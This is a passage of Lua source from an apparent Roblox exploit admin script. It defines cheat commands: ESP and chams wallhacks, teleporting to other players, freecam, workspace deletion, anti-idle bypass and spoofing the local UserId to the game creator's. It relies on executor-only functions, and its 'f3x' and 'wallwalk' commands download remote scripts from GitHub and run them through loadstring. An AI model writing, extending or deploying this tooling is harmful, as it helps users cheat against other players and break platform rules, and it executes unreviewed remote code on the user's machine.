notify('Client AntiTP','Allow rejoin set to true')
end
end)
addcmd("cancelteleport", {"canceltp"}, function(args, speaker)
TeleportService:TeleportCancel()
end)
addcmd("volume",{ "vol"}, function(args, speaker)
UserSettings():GetService("UserGameSettings").MasterVolume = args[1]/10
end)
addcmd("antilag", {"boostfps", "lowgraphics"}, function(args, speaker)
local Terrain = workspace:FindFirstChildWhichIsA("Terrain")
Terrain.WaterWaveSize = 0
Terrain.WaterWaveSpeed = 0
Terrain.WaterReflectance = 0
Terrain.WaterTransparency = 1
Lighting.GlobalShadows = false
Lighting.FogEnd = 9e9
Lighting.FogStart = 9e9
settings().Rendering.QualityLevel = 1
for _, v in pairs(game:GetDescendants()) do
if v:IsA("BasePart") then
v.CastShadow = false
v.Material = "Plastic"
v.Reflectance = 0
v.BackSurface = "SmoothNoOutlines"
v.BottomSurface = "SmoothNoOutlines"
v.FrontSurface = "SmoothNoOutlines"
v.LeftSurface = "SmoothNoOutlines"
v.RightSurface = "SmoothNoOutlines"
v.TopSurface = "SmoothNoOutlines"
elseif v:IsA("Decal") then
v.Transparency = 1
v.Texture = ""
elseif v:IsA("ParticleEmitter") or v:IsA("Trail") then
v.Lifetime = NumberRange.new(0)
end
end
for _, v in pairs(Lighting:GetDescendants()) do
if v:IsA("PostEffect") then
v.Enabled = false
end
end
workspace.DescendantAdded:Connect(function(child)
task.spawn(function()
if child:IsA("ForceField") or child:IsA("Sparkles") or child:IsA("Smoke") or child:IsA("Fire") or child:IsA("Beam") then
RunService.Heartbeat:Wait()
child:Destroy()
elseif child:IsA("BasePart") then
child.CastShadow = false
end
end)
end)
end)
addcmd("setfpscap", {"fpscap", "maxfps"}, function(args, speaker)
if fpscaploop then
task.cancel(fpscaploop)
fpscaploop = nil
end
local fpsCap = 60
local num = tonumber(args[1]) or 1e6
if num == "none" then
return
elseif num > 0 then
fpsCap = num
else
return notify("Invalid argument", "Please provide a number above 0 or 'none'.")
end
if setfpscap and type(setfpscap) == "function" then
setfpscap(fpsCap)
else
fpscaploop = task.spawn(function()
local timer = os.clock()
while true do
if os.clock() >= timer + 1 / fpsCap then
timer = os.clock()
task.wait()
end
end
end)
end
end)
addcmd('notify',{},function(args, speaker)
notify(getstring(1))
end)
addcmd('lastcommand',{'lastcmd'},function(args, speaker)
if cmdHistory[1]:sub(1,11) ~= 'lastcommand' and cmdHistory[1]:sub(1,7) ~= 'lastcmd' then
execCmd(cmdHistory[1])
end
end)
addcmd('esp',{},function(args, speaker)
if not CHMSenabled then
ESPenabled = true
for i,v in pairs(Players:GetPlayers()) do
if v.Name ~= speaker.Name then
ESP(v)
end
end
else
notify('ESP','Disable chams (nochams) before using esp')
end
end)
addcmd('espteam',{},function(args, speaker)
if not CHMSenabled then
ESPenabled = true
for i,v in pairs(Players:GetPlayers()) do
if v.Name ~= speaker.Name then
ESP(v, true)
end
end
else
notify('ESP','Disable chams (nochams) before using esp')
end
end)
addcmd('noesp',{'unesp','unespteam'},function(args, speaker)
ESPenabled = false
for i,c in pairs(COREGUI:GetChildren()) do
if string.sub(c.Name, -4) == '_ESP' then
c:Destroy()
end
end
end)
addcmd('esptransparency',{},function(args, speaker)
espTransparency = (args[1] and isNumber(args[1]) and args[1]) or 0.3
updatesaves()
end)
local espParts = {}
local partEspTrigger = nil
function partAdded(part)
if #espParts > 0 then
if FindInTable(espParts,part.Name:lower()) then
local a = Instance.new("BoxHandleAdornment")
a.Name = part.Name:lower().."_PESP"
a.Parent = part
a.Adornee = part
a.AlwaysOnTop = true
a.ZIndex = 0
a.Size = part.Size
a.Transparency = espTransparency
a.Color = BrickColor.new("Lime green")
end
else
partEspTrigger:Disconnect()
partEspTrigger = nil
end
end
addcmd('partesp',{},function(args, speaker)
local partEspName = getstring(1):lower()
if not FindInTable(espParts,partEspName) then
table.insert(espParts,partEspName)
for i,v in pairs(workspace:GetDescendants()) do
if v:IsA("BasePart") and v.Name:lower() == partEspName then
local a = Instance.new("BoxHandleAdornment")
a.Name = partEspName.."_PESP"
a.Parent = v
a.Adornee = v
a.AlwaysOnTop = true
a.ZIndex = 0
a.Size = v.Size
a.Transparency = espTransparency
a.Color = BrickColor.new("Lime green")
end
end
end
if partEspTrigger == nil then
partEspTrigger = workspace.DescendantAdded:Connect(partAdded)
end
end)
addcmd('unpartesp',{'nopartesp'},function(args, speaker)
if args[1] then
local partEspName = getstring(1):lower()
if FindInTable(espParts,partEspName) then
table.remove(espParts, GetInTable(espParts, partEspName))
end
for i,v in pairs(workspace:GetDescendants()) do
if v:IsA("BoxHandleAdornment") and v.Name == partEspName..'_PESP' then
v:Destroy()
end
end
else
partEspTrigger:Disconnect()
partEspTrigger = nil
espParts = {}
for i,v in pairs(workspace:GetDescendants()) do
if v:IsA("BoxHandleAdornment") and v.Name:sub(-5) == '_PESP' then
v:Destroy()
end
end
end
end)
addcmd('chams',{},function(args, speaker)
if not ESPenabled then
CHMSenabled = true
for i,v in pairs(Players:GetPlayers()) do
if v.Name ~= speaker.Name then
CHMS(v)
end
end
else
notify('Chams','Disable ESP (noesp) before using chams')
end
end)
addcmd('nochams',{'unchams'},function(args, speaker)
CHMSenabled = false
for i,v in pairs(Players:GetPlayers()) do
local chmsplr = v
for i,c in pairs(COREGUI:GetChildren()) do
if c.Name == chmsplr.Name..'_CHMS' then
c:Destroy()
end
end
end
end)
addcmd('locate',{},function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
Locate(Players[v])
end
end)
addcmd('nolocate',{'unlocate'},function(args, speaker)
local players = getPlayer(args[1], speaker)
if args[1] then
for i,v in pairs(players) do
for i,c in pairs(COREGUI:GetChildren()) do
if c.Name == Players[v].Name..'_LC' then
c:Destroy()
end
end
end
else
for i,c in pairs(COREGUI:GetChildren()) do
if string.sub(c.Name, -3) == '_LC' then
c:Destroy()
end
end
end
end)
viewing = nil
addcmd('view',{'spectate'},function(args, speaker)
StopFreecam()
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
if viewDied then
viewDied:Disconnect()
viewChanged:Disconnect()
end
viewing = Players[v]
workspace.CurrentCamera.CameraSubject = viewing.Character
notify('Spectate','Viewing ' .. Players[v].Name)
local function viewDiedFunc()
repeat wait() until Players[v].Character ~= nil and getRoot(Players[v].Character)
workspace.CurrentCamera.CameraSubject = viewing.Character
end
viewDied = Players[v].CharacterAdded:Connect(viewDiedFunc)
local function viewChangedFunc()
workspace.CurrentCamera.CameraSubject = viewing.Character
end
viewChanged = workspace.CurrentCamera:GetPropertyChangedSignal("CameraSubject"):Connect(viewChangedFunc)
end
end)
addcmd('viewpart',{'viewp'},function(args, speaker)
StopFreecam()
if args[1] then
for i,v in pairs(workspace:GetDescendants()) do
if v.Name:lower() == getstring(1):lower() and v:IsA("BasePart") then
wait(0.1)
workspace.CurrentCamera.CameraSubject = v
end
end
end
end)
addcmd('unview',{'unspectate'},function(args, speaker)
StopFreecam()
if viewing ~= nil then
viewing = nil
notify('Spectate','View turned off')
end
if viewDied then
viewDied:Disconnect()
viewChanged:Disconnect()
end
workspace.CurrentCamera.CameraSubject = speaker.Character
end)
fcRunning = false
local Camera = workspace.CurrentCamera
workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function()
local newCamera = workspace.CurrentCamera
if newCamera then
Camera = newCamera
end
end)
local INPUT_PRIORITY = Enum.ContextActionPriority.High.Value
Spring = {} do
Spring.__index = Spring
function Spring.new(freq, pos)
local self = setmetatable({}, Spring)
self.f = freq
self.p = pos
self.v = pos*0
return self
end
function Spring:Update(dt, goal)
local f = self.f*2*math.pi
local p0 = self.p
local v0 = self.v
local offset = goal - p0
local decay = math.exp(-f*dt)
local p1 = goal + (v0*dt - offset*(f*dt + 1))*decay
local v1 = (f*dt*(offset*f - v0) + v0)*decay
self.p = p1
self.v = v1
return p1
end
function Spring:Reset(pos)
self.p = pos
self.v = pos*0
end
end
local cameraPos = Vector3.new()
local cameraRot = Vector2.new()
local velSpring = Spring.new(5, Vector3.new())
local panSpring = Spring.new(5, Vector2.new())
Input = {} do
keyboard = {
W = 0,
A = 0,
S = 0,
D = 0,
E = 0,
Q = 0,
Up = 0,
Down = 0,
LeftShift = 0,
}
mouse = {
Delta = Vector2.new(),
}
NAV_KEYBOARD_SPEED = Vector3.new(1, 1, 1)
PAN_MOUSE_SPEED = Vector2.new(1, 1)*(math.pi/64)
NAV_ADJ_SPEED = 0.75
NAV_SHIFT_MUL = 0.25
navSpeed = 1
function Input.Vel(dt)
navSpeed = math.clamp(navSpeed + dt*(keyboard.Up - keyboard.Down)*NAV_ADJ_SPEED, 0.01, 4)
local kKeyboard = Vector3.new(
keyboard.D - keyboard.A,
keyboard.E - keyboard.Q,
keyboard.S - keyboard.W
)*NAV_KEYBOARD_SPEED
local shift = UserInputService:IsKeyDown(Enum.KeyCode.LeftShift)
return (kKeyboard)*(navSpeed*(shift and NAV_SHIFT_MUL or 1))
end
function Input.Pan(dt)
local kMouse = mouse.Delta*PAN_MOUSE_SPEED
mouse.Delta = Vector2.new()
return kMouse
end
do
function Keypress(action, state, input)
keyboard[input.KeyCode.Name] = state == Enum.UserInputState.Begin and 1 or 0
return Enum.ContextActionResult.Sink
end
function MousePan(action, state, input)
local delta = input.Delta
mouse.Delta = Vector2.new(-delta.y, -delta.x)
return Enum.ContextActionResult.Sink
end
function Zero(t)
for k, v in pairs(t) do
t[k] = v*0
end
end
function Input.StartCapture()
ContextActionService:BindActionAtPriority("FreecamKeyboard",Keypress,false,INPUT_PRIORITY,
Enum.KeyCode.W,
Enum.KeyCode.A,
Enum.KeyCode.S,
Enum.KeyCode.D,
Enum.KeyCode.E,
Enum.KeyCode.Q,
Enum.KeyCode.Up,
Enum.KeyCode.Down
)
ContextActionService:BindActionAtPriority("FreecamMousePan",MousePan,false,INPUT_PRIORITY,Enum.UserInputType.MouseMovement)
end
function Input.StopCapture()
navSpeed = 1
Zero(keyboard)
Zero(mouse)
ContextActionService:UnbindAction("FreecamKeyboard")
ContextActionService:UnbindAction("FreecamMousePan")
end
end
end
function GetFocusDistance(cameraFrame)
local znear = 0.1
local viewport = Camera.ViewportSize
local projy = 2*math.tan(cameraFov/2)
local projx = viewport.x/viewport.y*projy
local fx = cameraFrame.rightVector
local fy = cameraFrame.upVector
local fz = cameraFrame.lookVector
local minVect = Vector3.new()
local minDist = 512
for x = 0, 1, 0.5 do
for y = 0, 1, 0.5 do
local cx = (x - 0.5)*projx
local cy = (y - 0.5)*projy
local offset = fx*cx - fy*cy + fz
local origin = cameraFrame.p + offset*znear
local _, hit = workspace:FindPartOnRay(Ray.new(origin, offset.unit*minDist))
local dist = (hit - origin).magnitude
if minDist > dist then
minDist = dist
minVect = offset.unit
end
end
end
return fz:Dot(minVect)*minDist
end
local function StepFreecam(dt)
local vel = velSpring:Update(dt, Input.Vel(dt))
local pan = panSpring:Update(dt, Input.Pan(dt))
local zoomFactor = math.sqrt(math.tan(math.rad(70/2))/math.tan(math.rad(cameraFov/2)))
cameraRot = cameraRot + pan*Vector2.new(0.75, 1)*8*(dt/zoomFactor)
cameraRot = Vector2.new(math.clamp(cameraRot.x, -math.rad(90), math.rad(90)), cameraRot.y%(2*math.pi))
local cameraCFrame = CFrame.new(cameraPos)*CFrame.fromOrientation(cameraRot.x, cameraRot.y, 0)*CFrame.new(vel*Vector3.new(1, 1, 1)*64*dt)
cameraPos = cameraCFrame.p
Camera.CFrame = cameraCFrame
Camera.Focus = cameraCFrame*CFrame.new(0, 0, -GetFocusDistance(cameraCFrame))
Camera.FieldOfView = cameraFov
end
local PlayerState = {} do
mouseBehavior = ""
mouseIconEnabled = ""
cameraType = ""
cameraFocus = ""
cameraCFrame = ""
cameraFieldOfView = ""
function PlayerState.Push()
cameraFieldOfView = Camera.FieldOfView
Camera.FieldOfView = 70
cameraType = Camera.CameraType
Camera.CameraType = Enum.CameraType.Custom
cameraCFrame = Camera.CFrame
cameraFocus = Camera.Focus
mouseIconEnabled = UserInputService.MouseIconEnabled
UserInputService.MouseIconEnabled = true
mouseBehavior = UserInputService.MouseBehavior
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
function PlayerState.Pop()
Camera.FieldOfView = 70
Camera.CameraType = cameraType
cameraType = nil
Camera.CFrame = cameraCFrame
cameraCFrame = nil
Camera.Focus = cameraFocus
cameraFocus = nil
UserInputService.MouseIconEnabled = mouseIconEnabled
mouseIconEnabled = nil
UserInputService.MouseBehavior = mouseBehavior
mouseBehavior = nil
end
end
function StartFreecam(pos)
if fcRunning then
StopFreecam()
end
local cameraCFrame = Camera.CFrame
if pos then
cameraCFrame = pos
end
cameraRot = Vector2.new()
cameraPos = cameraCFrame.p
cameraFov = Camera.FieldOfView
velSpring:Reset(Vector3.new())
panSpring:Reset(Vector2.new())
PlayerState.Push()
RunService:BindToRenderStep("Freecam", Enum.RenderPriority.Camera.Value, StepFreecam)
Input.StartCapture()
fcRunning = true
end
function StopFreecam()
if not fcRunning then return end
Input.StopCapture()
RunService:UnbindFromRenderStep("Freecam")
PlayerState.Pop()
workspace.Camera.FieldOfView = 70
fcRunning = false
end
addcmd('freecam',{'fc'},function(args, speaker)
StartFreecam()
end)
addcmd('freecampos',{'fcpos','fcp','freecamposition','fcposition'},function(args, speaker)
if not args[1] then return end
local freecamPos = CFrame.new(args[1],args[2],args[3])
StartFreecam(freecamPos)
end)
addcmd('freecamwaypoint',{'fcwp'},function(args, speaker)
local WPName = tostring(getstring(1))
if speaker.Character then
for i,_ in pairs(WayPoints) do
local x = WayPoints[i].COORD[1]
local y = WayPoints[i].COORD[2]
local z = WayPoints[i].COORD[3]
if tostring(WayPoints[i].NAME):lower() == tostring(WPName):lower() then
StartFreecam(CFrame.new(x,y,z))
end
end
for i,_ in pairs(pWayPoints) do
if tostring(pWayPoints[i].NAME):lower() == tostring(WPName):lower() then
StartFreecam(CFrame.new(pWayPoints[i].COORD[1].Position))
end
end
end
end)
addcmd('freecamgoto',{'fcgoto','freecamtp','fctp'},function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
StartFreecam(getRoot(Players[v].Character).CFrame)
end
end)
addcmd('unfreecam',{'nofreecam','unfc','nofc'},function(args, speaker)
StopFreecam()
end)
addcmd('freecamspeed',{'fcspeed'},function(args, speaker)
local FCspeed = args[1] or 1
if isNumber(FCspeed) then
NAV_KEYBOARD_SPEED = Vector3.new(FCspeed, FCspeed, FCspeed)
end
end)
addcmd('notifyfreecamposition',{'notifyfcpos'},function(args, speaker)
if fcRunning then
local X,Y,Z = workspace.CurrentCamera.CFrame.Position.X,workspace.CurrentCamera.CFrame.Position.Y,workspace.CurrentCamera.CFrame.Position.Z
local Format, Round = string.format, math.round
notify("Current Position", Format("%s, %s, %s", Round(X), Round(Y), Round(Z)))
end
end)
addcmd('copyfreecamposition',{'copyfcpos'},function(args, speaker)
if fcRunning then
local X,Y,Z = workspace.CurrentCamera.CFrame.Position.X,workspace.CurrentCamera.CFrame.Position.Y,workspace.CurrentCamera.CFrame.Position.Z
local Format, Round = string.format, math.round
toClipboard(Format("%s, %s, %s", Round(X), Round(Y), Round(Z)))
end
end)
addcmd('gotocamera',{'gotocam','tocam'},function(args, speaker)
getRoot(speaker.Character).CFrame = workspace.Camera.CFrame
end)
addcmd('tweengotocamera',{'tweengotocam','tgotocam','ttocam'},function(args, speaker)
TweenService:Create(getRoot(speaker.Character), TweenInfo.new(tweenSpeed, Enum.EasingStyle.Linear), {CFrame = workspace.Camera.CFrame}):Play()
end)
addcmd('fov',{},function(args, speaker)
local fov = args[1] or 70
if isNumber(fov) then
workspace.CurrentCamera.FieldOfView = fov
end
end)
local preMaxZoom = Players.LocalPlayer.CameraMaxZoomDistance
local preMinZoom = Players.LocalPlayer.CameraMinZoomDistance
addcmd('lookat',{},function(args, speaker)
if speaker.CameraMaxZoomDistance ~= 0.5 then
preMaxZoom = speaker.CameraMaxZoomDistance
preMinZoom = speaker.CameraMinZoomDistance
end
speaker.CameraMaxZoomDistance = 0.5
speaker.CameraMinZoomDistance = 0.5
wait()
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
local target = Players[v].Character
if target and target:FindFirstChild('Head') then
workspace.CurrentCamera.CFrame = CFrame.new(workspace.CurrentCamera.CFrame.p, target.Head.CFrame.p)
wait(0.1)
end
end
speaker.CameraMaxZoomDistance = preMaxZoom
speaker.CameraMinZoomDistance = preMinZoom
end)
addcmd('fixcam',{'restorecam'},function(args, speaker)
StopFreecam()
execCmd('unview')
workspace.CurrentCamera:remove()
wait(.1)
repeat wait() until speaker.Character ~= nil
workspace.CurrentCamera.CameraSubject = speaker.Character:FindFirstChildWhichIsA('Humanoid')
workspace.CurrentCamera.CameraType = "Custom"
speaker.CameraMinZoomDistance = 0.5
speaker.CameraMaxZoomDistance = 400
speaker.CameraMode = "Classic"
speaker.Character.Head.Anchored = false
end)
addcmd("enableshiftlock", {"enablesl", "shiftlock"}, function(args, speaker)
local function enableShiftlock()
speaker.DevEnableMouseLock = true
end
speaker:GetPropertyChangedSignal("DevEnableMouseLock"):Connect(enableShiftlock)
enableShiftlock()
notify("Shiftlock", "Shift lock should now be available")
end)
addcmd('firstp',{},function(args, speaker)
speaker.CameraMode = "LockFirstPerson"
end)
addcmd('thirdp',{},function(args, speaker)
speaker.CameraMode = "Classic"
end)
addcmd('noclipcam', {'nccam'}, function(args, speaker)
local sc = (debug and debug.setconstant) or setconstant
local gc = (debug and debug.getconstants) or getconstants
if not sc or not getgc or not gc then
return notify('Incompatible Exploit', 'Your exploit does not support this command (missing setconstant or getconstants or getgc)')
end
local pop = speaker.PlayerScripts.PlayerModule.CameraModule.ZoomController.Popper
for _, v in pairs(getgc()) do
if type(v) == 'function' and getfenv(v).script == pop then
for i, v1 in pairs(gc(v)) do
if tonumber(v1) == .25 then
sc(v, i, 0)
elseif tonumber(v1) == 0 then
sc(v, i, .25)
end
end
end
end
end)
addcmd('maxzoom',{},function(args, speaker)
speaker.CameraMaxZoomDistance = args[1]
end)
addcmd('minzoom',{},function(args, speaker)
speaker.CameraMinZoomDistance = args[1]
end)
addcmd('camdistance',{},function(args, speaker)
local camMax = speaker.CameraMaxZoomDistance
local camMin = speaker.CameraMinZoomDistance
if camMax < tonumber(args[1]) then
camMax = args[1]
end
speaker.CameraMaxZoomDistance = args[1]
speaker.CameraMinZoomDistance = args[1]
wait()
speaker.CameraMaxZoomDistance = camMax
speaker.CameraMinZoomDistance = camMin
end)
addcmd('unlockws',{'unlockworkspace'},function(args, speaker)
for i,v in pairs(workspace:GetDescendants()) do
if v:IsA("BasePart") then
v.Locked = false
end
end
end)
addcmd('lockws',{'lockworkspace'},function(args, speaker)
for i,v in pairs(workspace:GetDescendants()) do
if v:IsA("BasePart") then
v.Locked = true
end
end
end)
addcmd('delete',{'remove'},function(args, speaker)
for i,v in pairs(workspace:GetDescendants()) do
if v.Name:lower() == getstring(1):lower() then
v:Destroy()
end
end
notify('Item(s) Deleted','Deleted ' ..getstring(1))
end)
addcmd('deleteclass',{'removeclass','deleteclassname','removeclassname','dc'},function(args, speaker)
for i,v in pairs(workspace:GetDescendants()) do
if v.ClassName:lower() == getstring(1):lower() then
v:Destroy()
end
end
notify('Item(s) Deleted','Deleted items with ClassName ' ..getstring(1))
end)
addcmd('chardelete',{'charremove','cd'},function(args, speaker)
for i,v in pairs(speaker.Character:GetDescendants()) do
if v.Name:lower() == getstring(1):lower() then
v:Destroy()
end
end
notify('Item(s) Deleted','Deleted ' ..getstring(1))
end)
addcmd('chardeleteclass',{'charremoveclass','chardeleteclassname','charremoveclassname','cdc'},function(args, speaker)
for i,v in pairs(speaker.Character:GetDescendants()) do
if v.ClassName:lower() == getstring(1):lower() then
v:Destroy()
end
end
notify('Item(s) Deleted','Deleted items with ClassName ' ..getstring(1))
end)
addcmd('deletevelocity',{'dv','removevelocity','removeforces'},function(args, speaker)
for i,v in pairs(speaker.Character:GetDescendants()) do
if v:IsA("BodyVelocity") or v:IsA("BodyGyro") or v:IsA("RocketPropulsion") or v:IsA("BodyThrust") or v:IsA("BodyAngularVelocity") or v:IsA("AngularVelocity") or v:IsA("BodyForce") or v:IsA("VectorForce") or v:IsA("LineForce") then
v:Destroy()
end
end
end)
addcmd('deleteinvisparts',{'deleteinvisibleparts','dip'},function(args, speaker)
for i,v in pairs(workspace:GetDescendants()) do
if v:IsA("BasePart") and v.Transparency == 1 and v.CanCollide then
v:Destroy()
end
end
end)
local shownParts = {}
addcmd('invisibleparts',{'invisparts'},function(args, speaker)
for i,v in pairs(workspace:GetDescendants()) do
if v:IsA("BasePart") and v.Transparency == 1 then
if not table.find(shownParts,v) then
table.insert(shownParts,v)
end
v.Transparency = 0
end
end
end)
addcmd('uninvisibleparts',{'uninvisparts'},function(args, speaker)
for i,v in pairs(shownParts) do
v.Transparency = 1
end
shownParts = {}
end)
addcmd('btools',{},function(args, speaker)
for i = 1, 4 do
local Tool = Instance.new("HopperBin")
Tool.BinType = i
Tool.Name = randomString()
Tool.Parent = speaker:FindFirstChildOfClass("Backpack")
end
end)
addcmd('f3x',{'fex'},function(args, speaker)
loadstring(game:HttpGet("https://raw.githubusercontent.com/infyiff/backup/refs/heads/main/f3x.lua"))()
end)
addcmd('partpath',{'partname'},function(args, speaker)
selectPart()
end)
addcmd('antiafk',{'antiidle'},function(args, speaker)
local GC = getconnections or get_signal_cons
if GC then
for i,v in pairs(GC(Players.LocalPlayer.Idled)) do
if v["Disable"] then
v["Disable"](v)
elseif v["Disconnect"] then
v["Disconnect"](v)
end
end
else
local VirtualUser = cloneref(game:GetService("VirtualUser"))
Players.LocalPlayer.Idled:Connect(function()
VirtualUser:CaptureController()
VirtualUser:ClickButton2(Vector2.new())
end)
end
if not (args[1] and tostring(args[1]) == 'nonotify') then notify('Anti Idle','Anti idle is enabled') end
end)
addcmd("datalimit", {}, function(args, speaker)
local kbps = tonumber(args[1])
if kbps then
local NetworkClient = cloneref(game:GetService("NetworkClient"))
NetworkClient:SetOutgoingKBPSLimit(kbps)
end
end)
addcmd("replicationlag", {"backtrack"}, function(args, speaker)
if tonumber(args[1]) then
settings():GetService("NetworkSettings").IncomingReplicationLag = args[1]
end
end)
addcmd("noprompts", {"nopurchaseprompts"}, function(args, speaker)
COREGUI.PurchasePromptApp.Enabled = false
end)
addcmd("showprompts", {"showpurchaseprompts"}, function(args, speaker)
COREGUI.PurchasePromptApp.Enabled = true
end)
promptNewRig = function(speaker, rig)
local humanoid = speaker.Character:FindFirstChildWhichIsA("Humanoid")
if humanoid then
AvatarEditorService:PromptSaveAvatar(humanoid.HumanoidDescription, Enum.HumanoidRigType[rig])
local result = AvatarEditorService.PromptSaveAvatarCompleted:Wait()
if result == Enum.AvatarPromptResult.Success then
execCmd("reset")
end
end
end
addcmd("promptr6", {}, function(args, speaker)
promptNewRig(speaker, "R6")
end)
addcmd("promptr15", {}, function(args, speaker)
promptNewRig(speaker, "R15")
end)
addcmd("wallwalk", {"walkonwalls"}, function(args, speaker)
loadstring(game:HttpGet("https://raw.githubusercontent.com/infyiff/backup/main/wallwalker.lua"))()
end)
addcmd('age',{},function(args, speaker)
local players = getPlayer(args[1], speaker)
local ages = {}
for i,v in pairs(players) do
local p = Players[v]
table.insert(ages, p.Name.."'s age is: "..p.AccountAge)
end
notify('Account Age',table.concat(ages, ',\n'))
end)
addcmd('chatage',{},function(args, speaker)
local players = getPlayer(args[1], speaker)
local ages = {}
for i,v in pairs(players) do
local p = Players[v]
table.insert(ages, p.Name.."'s age is: "..p.AccountAge)
end
local chatString = table.concat(ages, ', ')
chatMessage(chatString)
end)
addcmd('joindate',{'jd'},function(args, speaker)
local players = getPlayer(args[1], speaker)
local dates = {}
for i,v in pairs(players) do
local p = Players[v]
local secondsOld = p.AccountAge * 24 * 60 * 60
local now = os.time()
local dateJoined = p.Name .. " joined: " .. os.date("%m/%d/%y", now - secondsOld)
table.insert(dates, dateJoined)
end
notify('Join Date (Month/Day/Year)',table.concat(dates, ',\n'))
end)
addcmd('chatjoindate',{'cjd'},function(args, speaker)
local players = getPlayer(args[1], speaker)
local dates = {}
for i,v in pairs(players) do
local p = Players[v]
local secondsOld = p.AccountAge * 24 * 60 * 60
local now = os.time()
local dateJoined = p.Name .. " joined: " .. os.date("%m/%d/%y", now - secondsOld)
table.insert(dates, dateJoined)
end
local chatString = table.concat(dates, ', ')
chatMessage(chatString)
end)
addcmd('copyname',{'copyuser'},function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
local name = tostring(Players[v].Name)
toClipboard(name)
end
end)
addcmd('userid',{'id'},function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
local id = tostring(Players[v].UserId)
notify('User ID',id)
end
end)
addcmd("copyplaceid", {"placeid"}, function(args, speaker)
toClipboard(PlaceId)
end)
addcmd("copygameid", {"gameid"}, function(args, speaker)
toClipboard(game.GameId)
end)
addcmd('copyid',{'copyuserid'},function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
local id = tostring(Players[v].UserId)
toClipboard(id)
end
end)
addcmd('creatorid',{'creator'},function(args, speaker)
if game.CreatorType == Enum.CreatorType.User then
notify('Creator ID',game.CreatorId)
elseif game.CreatorType == Enum.CreatorType.Group then
local OwnerID = GroupService:GetGroupInfoAsync(game.CreatorId).Owner.Id
speaker.UserId = OwnerID
notify('Creator ID',OwnerID)
end
end)
addcmd('copycreatorid',{'copycreator'},function(args, speaker)
if game.CreatorType == Enum.CreatorType.User then
toClipboard(game.CreatorId)
notify('Copied ID','Copied creator ID to clipboard')
elseif game.CreatorType == Enum.CreatorType.Group then
local OwnerID = GroupService:GetGroupInfoAsync(game.CreatorId).Owner.Id
toClipboard(OwnerID)
notify('Copied ID','Copied creator ID to clipboard')
end
end)
addcmd('setcreatorid',{'setcreator'},function(args, speaker)
if game.CreatorType == Enum.CreatorType.User then
speaker.UserId = game.CreatorId
notify('Set ID','Set UserId to '..game.CreatorId)
elseif game.CreatorType == Enum.CreatorType.Group then
local OwnerID = GroupService:GetGroupInfoAsync(game.CreatorId).Owner.Id
speaker.UserId = OwnerID
notify('Set ID','Set UserId to '..OwnerID)
end
end)
addcmd('appearanceid',{'aid'},function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
local aid = tostring(Players[v].CharacterAppearanceId)
notify('Appearance ID',aid)
end
end)
addcmd('copyappearanceid',{'caid'},function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
local aid = tostring(Players[v].CharacterAppearanceId)
toClipboard(aid)
end
end)
addcmd('norender',{},function(args, speaker)
RunService:Set3dRenderingEnabled(false)
end)
addcmd('render',{},function(args, speaker)
RunService:Set3dRenderingEnabled(true)
end)
addcmd('2022materials',{'use2022materials'},function(args, speaker)
if sethidden then
sethidden(MaterialService, "Use2022Materials", true)
else
notify('Incompatible Exploit','Your exploit does not support this command (missing sethiddenproperty)')
end
end)
addcmd('un2022materials',{'unuse2022materials'},function(args, speaker)
if sethidden then
sethidden(MaterialService, "Use2022Materials", false)
else
notify('Incompatible Exploit','Your exploit does not support this command (missing sethiddenproperty)')
end
end)
addcmd('goto',{'to'},function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
if Players[v].Character ~= nil then
if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then
speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false
wait(.1)
end
getRoot(speaker.Character).CFrame = getRoot(Players[v].Character).CFrame + Vector3.new(3,1,0)
end
end
execCmd('breakvelocity')
end)
addcmd('tweengoto',{'tgoto','tto','tweento'},function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
if Players[v].Character ~= nil then
if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then
speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false
wait(.1)
end
TweenService:Create(getRoot(speaker.Character), TweenInfo.new(tweenSpeed, Enum.EasingStyle.Linear), {CFrame = getRoot(Players[v].Character).CFrame + Vector3.new(3,1,0)}):Play()
end
end
execCmd('breakvelocity')
end)
addcmd('vehiclegoto',{'vgoto','vtp','vehicletp'},function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
if Players[v].Character ~= nil then
local seat = speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart
local vehicleModel = seat:FindFirstAncestorWhichIsA("Model")
vehicleModel:MoveTo(getRoot(Players[v].Character).Position)
end
end
end)
addcmd('pulsetp',{'ptp'},function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
if Players[v].Character ~= nil then
local startPos = getRoot(speaker.Character).CFrame
local seconds = args[2] or 1
if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then
speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false
wait(.1)
end
getRoot(speaker.Character).CFrame = getRoot(Players[v].Character).CFrame + Vector3.new(3,1,0)
wait(seconds)
getRoot(speaker.Character).CFrame = startPos
end
end
execCmd('breakvelocity')
end)
local vnoclipParts = {}
addcmd('vehiclenoclip',{'vnoclip'},function(args, speaker)
vnoclipParts = {}
local seat = speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart
local vehicleModel = seat.Parent
repeat
if vehicleModel.ClassName ~= "Model" then
vehicleModel = vehicleModel.Parent
end
until vehicleModel.ClassName == "Model"
wait(0.1)
execCmd('noclip')
for i,v in pairs(vehicleModel:GetDescendants()) do
if v:IsA("BasePart") and v.CanCollide then
table.insert(vnoclipParts,v)
v.CanCollide = false
end
end
end)
